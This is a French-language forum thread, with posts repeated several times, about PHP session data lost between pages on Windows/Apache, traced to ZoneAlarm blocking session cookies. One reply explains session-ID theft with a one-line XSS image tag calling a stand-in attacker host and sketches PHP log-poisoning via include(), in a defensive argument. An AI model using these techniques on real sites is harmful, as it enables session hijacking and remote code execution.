Un truc tout bête !
Je veux passer des infos sur l'utilisateur d'une page à l'autre.
La page "index.php" sert de contrôleur et en fonction de l'action qui
lui est demandée, affiche la bonne page (en gros, tout passe par là).
J'ai un "session_start()" au début de "index.php".
Arrivée sur le site : affichage d'un formulaire d'identification.
Le formulaire est posté, l'utilisateur identifié et placé en session
(objet "sérializé" ou tableau simple en session, j'ai essayé les deux),
les menus sont affichés...
Si je clique sur un menu pour afficher une autre page, je perd
systématiquement les informations de session. Je n'ai plus rien dans
"$_SESSION".
Je suis sous Win2K, serveur Apache 2.0, PHP 5.1.5, MySQL4.
Je n'arrive pas à comprendre pourquoi je perd les informations de
session... enfin, je viens de constater un truc : l'identifiant de
session change à chaque fois, ceci explique peut-être cela... mais je ne
vois toujours pas pourquoi ! :-((
Quelqu'un aurait une piste, quelque-chose que je puisse vérifier, dans
la configuration ou autre ?
Cette action est irreversible, confirmez la suppression du commentaire ?
Signaler le commentaire
Veuillez sélectionner un problème
Nudité
Violence
Harcèlement
Fraude
Vente illégale
Discours haineux
Terrorisme
Autre
Antoine Polatouche
Je suis sous Win2K, serveur Apache 2.0, PHP 5.1.5, MySQL4.
Je n'arrive pas à comprendre pourquoi je perd les informations de session... enfin, je viens de constater un truc : l'identifiant de session change à chaque fois, ceci explique peut-être cela... mais je ne vois toujours pas pourquoi ! :-((
Hypothèse:
Sous Win dans php.ini, il faut que le path existe.
session.save_path = "C:pathtosession"
Je suis sous Win2K, serveur Apache 2.0, PHP 5.1.5, MySQL4.
Je n'arrive pas à comprendre pourquoi je perd les informations de
session... enfin, je viens de constater un truc : l'identifiant de
session change à chaque fois, ceci explique peut-être cela... mais je ne
vois toujours pas pourquoi ! :-((
Hypothèse:
Sous Win dans php.ini, il faut que le path existe.
Je suis sous Win2K, serveur Apache 2.0, PHP 5.1.5, MySQL4.
Je n'arrive pas à comprendre pourquoi je perd les informations de session... enfin, je viens de constater un truc : l'identifiant de session change à chaque fois, ceci explique peut-être cela... mais je ne vois toujours pas pourquoi ! :-((
Hypothèse:
Sous Win dans php.ini, il faut que le path existe.
session.save_path = "C:pathtosession"
Calimero
Gilles FEVRIER wrote:
Quelqu'un aurait une piste, quelque-chose que je puisse vérifier, dans la configuration ou autre ?
Ton navigateur accepte bien les cookies ?
PHP est correctement configuré (genre le session.save_path qui serait peut être indéfini ou mal défini) ?
Si c'est vraiment mystique, tu peux essayer un proxy de debuggage HTTP qui te dira ce qui passe entre ton navigateur et ton serveur Web.
-- @+ Calimero
Gilles FEVRIER wrote:
Quelqu'un aurait une piste, quelque-chose que je puisse vérifier, dans
la configuration ou autre ?
Ton navigateur accepte bien les cookies ?
PHP est correctement configuré (genre le session.save_path qui serait
peut être indéfini ou mal défini) ?
Si c'est vraiment mystique, tu peux essayer un proxy de debuggage HTTP
qui te dira ce qui passe entre ton navigateur et ton serveur Web.
Quelqu'un aurait une piste, quelque-chose que je puisse vérifier, dans la configuration ou autre ?
Ton navigateur accepte bien les cookies ?
PHP est correctement configuré (genre le session.save_path qui serait peut être indéfini ou mal défini) ?
Si c'est vraiment mystique, tu peux essayer un proxy de debuggage HTTP qui te dira ce qui passe entre ton navigateur et ton serveur Web.
-- @+ Calimero
Gilles FEVRIER
Salut,
Bon, je crois que je vais aller me pendre... 8-D Je viens de trouver pourquoi l'identifiant de session était régénéré à chaque appel de page, c'est la suggestion des droits d'écriture qui m'a mis la puce à l'oreille. .. J'ai honte... .. Je viens de m'apercevoir qu'une ZoneAlarm tournait sur mon poste et qu'il devait bloquer les cookies de session...
J'ai fermé ZoneAlarm et ô miracle... l'identifiant de session ne varie plus ! :-)
Mwouais bon, rigolez pas trop quand même hein ! Allez, c'est ma tournée ! :-D
A+
Gilles
Salut,
Bon, je crois que je vais aller me pendre... 8-D
Je viens de trouver pourquoi l'identifiant de session était régénéré à
chaque appel de page, c'est la suggestion des droits d'écriture qui m'a mis
la puce à l'oreille.
..
J'ai honte...
..
Je viens de m'apercevoir qu'une ZoneAlarm tournait sur mon poste et qu'il
devait bloquer les cookies de session...
J'ai fermé ZoneAlarm et ô miracle... l'identifiant de session ne varie plus
! :-)
Mwouais bon, rigolez pas trop quand même hein ! Allez, c'est ma tournée !
:-D
Bon, je crois que je vais aller me pendre... 8-D Je viens de trouver pourquoi l'identifiant de session était régénéré à chaque appel de page, c'est la suggestion des droits d'écriture qui m'a mis la puce à l'oreille. .. J'ai honte... .. Je viens de m'apercevoir qu'une ZoneAlarm tournait sur mon poste et qu'il devait bloquer les cookies de session...
J'ai fermé ZoneAlarm et ô miracle... l'identifiant de session ne varie plus ! :-)
Mwouais bon, rigolez pas trop quand même hein ! Allez, c'est ma tournée ! :-D
A+
Gilles
Anthony
Si je clique sur un menu pour afficher une autre page, je perd systématiquement les informations de session. Je n'ai plus rien dans "$_SESSION".
Ca pourrait aussi être le bug d'IE avec les en-têtes. En gros si tu modifie les en-têtes de ta page avec la fonction header() IE supprime les infos de session (juste pour cette page). Donc si tu utilise header() ca peut venir de là, et dans ce cas je ne connai pas vraiment de solution au problème qui est loin d'être une priorité de microsoft...
Si je clique sur un menu pour afficher une autre page, je perd
systématiquement les informations de session. Je n'ai plus rien dans
"$_SESSION".
Ca pourrait aussi être le bug d'IE avec les en-têtes. En gros si tu
modifie les en-têtes de ta page avec la fonction header() IE supprime
les infos de session (juste pour cette page).
Donc si tu utilise header() ca peut venir de là, et dans ce cas je ne
connai pas vraiment de solution au problème qui est loin d'être une
priorité de microsoft...
Si je clique sur un menu pour afficher une autre page, je perd systématiquement les informations de session. Je n'ai plus rien dans "$_SESSION".
Ca pourrait aussi être le bug d'IE avec les en-têtes. En gros si tu modifie les en-têtes de ta page avec la fonction header() IE supprime les infos de session (juste pour cette page). Donc si tu utilise header() ca peut venir de là, et dans ce cas je ne connai pas vraiment de solution au problème qui est loin d'être une priorité de microsoft...
John GALLET
Mwouais bon, rigolez pas trop quand même hein !
Ca me fait pas du tout rire à tes dépends : oui ça fait des années que je répète qu'on ne doit pas utiliser les cookies (et tous cas par pour metter des ID de session dedans) mais je ne pensais pas que des bidules à la con comme ZA allaient maintenant foutre la grouille dans la gestion des applications web.
En toute honnêté, j'aurais mis autant de temps que toi si ce n'est plus (par un a priori qui, comme tout le monde le sait, est l'ennemi du développeur) que ZA est un firewall applicatif point barre, pas qu'il tripote les cookies : ça ne me serait pas venu tout de suite à l'idée de le désactiver sur ce type de problèmes.
C'est vraiment de plus en plus insupportable, ces machins à la con du genre ZA, Spybot-bidule, Norton-so-called-security et j'en passe, à faire n'importe quoi dans tous les sens. La semaine dernière j'ai passé deux heures à comprendre pourquoi McAfee n'arrivait pas à télécharger ses mises à jour sur un pc ne m'appartenant pas : cette merde de ZA aussi. Et surtout sans rien dire, hein.
JG
Mwouais bon, rigolez pas trop quand même hein !
Ca me fait pas du tout rire à tes dépends : oui ça fait des années que
je répète qu'on ne doit pas utiliser les cookies (et tous cas par pour
metter des ID de session dedans) mais je ne pensais pas que des bidules
à la con comme ZA allaient maintenant foutre la grouille dans la
gestion des applications web.
En toute honnêté, j'aurais mis autant de temps que toi si ce n'est plus
(par un a priori qui, comme tout le monde le sait, est l'ennemi du
développeur) que ZA est un firewall applicatif point barre, pas qu'il
tripote les cookies : ça ne me serait pas venu tout de suite à l'idée de
le désactiver sur ce type de problèmes.
C'est vraiment de plus en plus insupportable, ces machins à la con du
genre ZA, Spybot-bidule, Norton-so-called-security et j'en passe, à
faire n'importe quoi dans tous les sens. La semaine dernière j'ai passé
deux heures à comprendre pourquoi McAfee n'arrivait pas à télécharger
ses mises à jour sur un pc ne m'appartenant pas : cette merde de ZA
aussi. Et surtout sans rien dire, hein.
Ca me fait pas du tout rire à tes dépends : oui ça fait des années que je répète qu'on ne doit pas utiliser les cookies (et tous cas par pour metter des ID de session dedans) mais je ne pensais pas que des bidules à la con comme ZA allaient maintenant foutre la grouille dans la gestion des applications web.
En toute honnêté, j'aurais mis autant de temps que toi si ce n'est plus (par un a priori qui, comme tout le monde le sait, est l'ennemi du développeur) que ZA est un firewall applicatif point barre, pas qu'il tripote les cookies : ça ne me serait pas venu tout de suite à l'idée de le désactiver sur ce type de problèmes.
C'est vraiment de plus en plus insupportable, ces machins à la con du genre ZA, Spybot-bidule, Norton-so-called-security et j'en passe, à faire n'importe quoi dans tous les sens. La semaine dernière j'ai passé deux heures à comprendre pourquoi McAfee n'arrivait pas à télécharger ses mises à jour sur un pc ne m'appartenant pas : cette merde de ZA aussi. Et surtout sans rien dire, hein.
JG
Fredchou
"John GALLET" a écrit dans le message de news: 4506a2f4$0$4772$
Ca me fait pas du tout rire à tes dépends : oui ça fait des années que je répète qu'on ne doit pas utiliser les cookies (et tous cas par pour metter des ID de session dedans)
Ah bon ? Que préconises-tu alors ? Un ID de session passé en GET ?
Merci de me donner ton avis de spécialiste, -- Fredchou mailto:
"John GALLET" <john.gallet@wanadoo.fr> a écrit dans le message de news:
4506a2f4$0$4772$626a54ce@news.free.fr...
Ca me fait pas du tout rire à tes dépends : oui ça fait des années que
je répète qu'on ne doit pas utiliser les cookies (et tous cas par pour
metter des ID de session dedans)
Ah bon ? Que préconises-tu alors ? Un ID de session passé en GET ?
Merci de me donner ton avis de spécialiste,
--
Fredchou
mailto:fredchou@nospam.free.fr
"John GALLET" a écrit dans le message de news: 4506a2f4$0$4772$
Ca me fait pas du tout rire à tes dépends : oui ça fait des années que je répète qu'on ne doit pas utiliser les cookies (et tous cas par pour metter des ID de session dedans)
Ah bon ? Que préconises-tu alors ? Un ID de session passé en GET ?
Merci de me donner ton avis de spécialiste, -- Fredchou mailto:
John GALLET
Ah bon ? Que préconises-tu alors ? Un ID de session passé en GET ?
Dans l'idéal, en POST pour qu'il n'apparaisse pas dans les logs http : ni ceux de ton serveur si on te les pique (1), ni ceux d'un attaquant qui pourrait l'avoir dans le champ REFERRER s'il a fait une attaque XSS toute simple : un bête <IMG SRC="http://attaquant.tld/1_pi_transparent.gif"> suffit pour ceci. C'est comme toute les données confidentielles, c'est du POST et pas du GET quand on peut le faire, pour cette raison de lecture des logs.
D'ailleurs, pour éviter qu'on te pique tes logs, je n'ai pas regardé le code d'apache, mais il y a fort à parier qu'en moins de deux heures, on peut avoir trouvé le bout de code qui met les paramètres dans les logs et le zapper. Si ça se trouve, il suffit d'utiliser un format de customized log et c'est déjà prévu, je n'ai pas regardé.
Pour les logs d'attaquants par des XSS simples comme celles-ci, il n'y a qu'une solution sûre à 100% : interdire le HTML. Si on accepte tous les tags permettant la demande à une ressource extérieure, ce qui a mon sens est une connerie conviviale et super dangereux de toutes façons, il faut par exemple wrapper les demandes par CURL ou par upload de fichiers par exemple (attention, ça peut ouvrir d'autres failles évidemment) et/ou vérifier qu'aucune arrivée sur cette page n'a normalement lieu en GET au moins pour les utilisateurs privilégiés du système.
A mon sens, (cet avis est discutable) je préfère ne pas m'appuyer sur une technologie reconnue comme totalement bugguée quand elle est externe et que je ne peux rien y faire. On sait pertinement que les failles des navigateurs pour l'accès aux cookies sont multiples et récurrentes, sans même parler de celles qu'on introduit nous. Donc je préfère me limiter à *mes* conneries et pouvoir corriger une faille immédiatement côté serveur où j'ai la main plutôt que d'attendre que l'éditeur du navigateur se penche sur le problème, sorte un patch, et que ledit patch soit installé sur plus de 95% des ordinateurs vulnérables.
Donc ensuite quand je lis des articles de 10 pages sur "comment éviter les failles CRSF" dont la solution proposée est de... passer en POST un identifiant de session déguisé (!!!!!!!!!!), je dois avouer que je me fends la poire. Il suffisait de ne pas foutre l'id de session dans le cookie à l'origine et on en parlait plus.
(1) si on te pique tes logs par sftp en lecture seule, c'est grave, mais il y a pire. Si on arrive à afficher les logs http par un appel à include/require(),il y a de gros soucis à se faire, car justement comme les requêtes GET sont loggées, je peux envoyer du code PHP à n'importe quelle page HTML statique, puis inclure les logs pour l'exécuter et là c'est GAME OVER ou pas loin. Donc de toutes façons, les logs http DOIVENT être protégés contre tout accès.
JG
Ah bon ? Que préconises-tu alors ? Un ID de session passé en GET ?
Dans l'idéal, en POST pour qu'il n'apparaisse pas dans les logs http :
ni ceux de ton serveur si on te les pique (1), ni ceux d'un attaquant
qui pourrait l'avoir dans le champ REFERRER s'il a fait une attaque XSS
toute simple : un bête
<IMG SRC="http://attaquant.tld/1_pi_transparent.gif">
suffit pour ceci. C'est comme toute les données confidentielles, c'est
du POST et pas du GET quand on peut le faire, pour cette raison de
lecture des logs.
D'ailleurs, pour éviter qu'on te pique tes logs, je n'ai pas regardé le
code d'apache, mais il y a fort à parier qu'en moins de deux heures, on
peut avoir trouvé le bout de code qui met les paramètres dans les logs
et le zapper. Si ça se trouve, il suffit d'utiliser un format de
customized log et c'est déjà prévu, je n'ai pas regardé.
Pour les logs d'attaquants par des XSS simples comme celles-ci, il n'y a
qu'une solution sûre à 100% : interdire le HTML. Si on accepte tous les
tags permettant la demande à une ressource extérieure, ce qui a mon sens
est une connerie conviviale et super dangereux de toutes façons, il faut
par exemple wrapper les demandes par CURL ou par upload de fichiers par
exemple (attention, ça peut ouvrir d'autres failles évidemment) et/ou
vérifier qu'aucune arrivée sur cette page n'a normalement lieu en GET au
moins pour les utilisateurs privilégiés du système.
A mon sens, (cet avis est discutable) je préfère ne pas m'appuyer sur
une technologie reconnue comme totalement bugguée quand elle est externe
et que je ne peux rien y faire. On sait pertinement que les failles des
navigateurs pour l'accès aux cookies sont multiples et récurrentes, sans
même parler de celles qu'on introduit nous. Donc je préfère me limiter à
*mes* conneries et pouvoir corriger une faille immédiatement côté
serveur où j'ai la main plutôt que d'attendre que l'éditeur du
navigateur se penche sur le problème, sorte un patch, et que ledit patch
soit installé sur plus de 95% des ordinateurs vulnérables.
Donc ensuite quand je lis des articles de 10 pages sur "comment éviter
les failles CRSF" dont la solution proposée est de... passer en POST un
identifiant de session déguisé (!!!!!!!!!!), je dois avouer que je me
fends la poire. Il suffisait de ne pas foutre l'id de session dans le
cookie à l'origine et on en parlait plus.
(1) si on te pique tes logs par sftp en lecture seule, c'est grave, mais
il y a pire. Si on arrive à afficher les logs http par un appel à
include/require(),il y a de gros soucis à se faire, car justement comme
les requêtes GET sont loggées, je peux envoyer du code PHP à n'importe
quelle page HTML statique, puis inclure les logs pour l'exécuter et là
c'est GAME OVER ou pas loin. Donc de toutes façons, les logs http
DOIVENT être protégés contre tout accès.
Ah bon ? Que préconises-tu alors ? Un ID de session passé en GET ?
Dans l'idéal, en POST pour qu'il n'apparaisse pas dans les logs http : ni ceux de ton serveur si on te les pique (1), ni ceux d'un attaquant qui pourrait l'avoir dans le champ REFERRER s'il a fait une attaque XSS toute simple : un bête <IMG SRC="http://attaquant.tld/1_pi_transparent.gif"> suffit pour ceci. C'est comme toute les données confidentielles, c'est du POST et pas du GET quand on peut le faire, pour cette raison de lecture des logs.
D'ailleurs, pour éviter qu'on te pique tes logs, je n'ai pas regardé le code d'apache, mais il y a fort à parier qu'en moins de deux heures, on peut avoir trouvé le bout de code qui met les paramètres dans les logs et le zapper. Si ça se trouve, il suffit d'utiliser un format de customized log et c'est déjà prévu, je n'ai pas regardé.
Pour les logs d'attaquants par des XSS simples comme celles-ci, il n'y a qu'une solution sûre à 100% : interdire le HTML. Si on accepte tous les tags permettant la demande à une ressource extérieure, ce qui a mon sens est une connerie conviviale et super dangereux de toutes façons, il faut par exemple wrapper les demandes par CURL ou par upload de fichiers par exemple (attention, ça peut ouvrir d'autres failles évidemment) et/ou vérifier qu'aucune arrivée sur cette page n'a normalement lieu en GET au moins pour les utilisateurs privilégiés du système.
A mon sens, (cet avis est discutable) je préfère ne pas m'appuyer sur une technologie reconnue comme totalement bugguée quand elle est externe et que je ne peux rien y faire. On sait pertinement que les failles des navigateurs pour l'accès aux cookies sont multiples et récurrentes, sans même parler de celles qu'on introduit nous. Donc je préfère me limiter à *mes* conneries et pouvoir corriger une faille immédiatement côté serveur où j'ai la main plutôt que d'attendre que l'éditeur du navigateur se penche sur le problème, sorte un patch, et que ledit patch soit installé sur plus de 95% des ordinateurs vulnérables.
Donc ensuite quand je lis des articles de 10 pages sur "comment éviter les failles CRSF" dont la solution proposée est de... passer en POST un identifiant de session déguisé (!!!!!!!!!!), je dois avouer que je me fends la poire. Il suffisait de ne pas foutre l'id de session dans le cookie à l'origine et on en parlait plus.
(1) si on te pique tes logs par sftp en lecture seule, c'est grave, mais il y a pire. Si on arrive à afficher les logs http par un appel à include/require(),il y a de gros soucis à se faire, car justement comme les requêtes GET sont loggées, je peux envoyer du code PHP à n'importe quelle page HTML statique, puis inclure les logs pour l'exécuter et là c'est GAME OVER ou pas loin. Donc de toutes façons, les logs http DOIVENT être protégés contre tout accès.
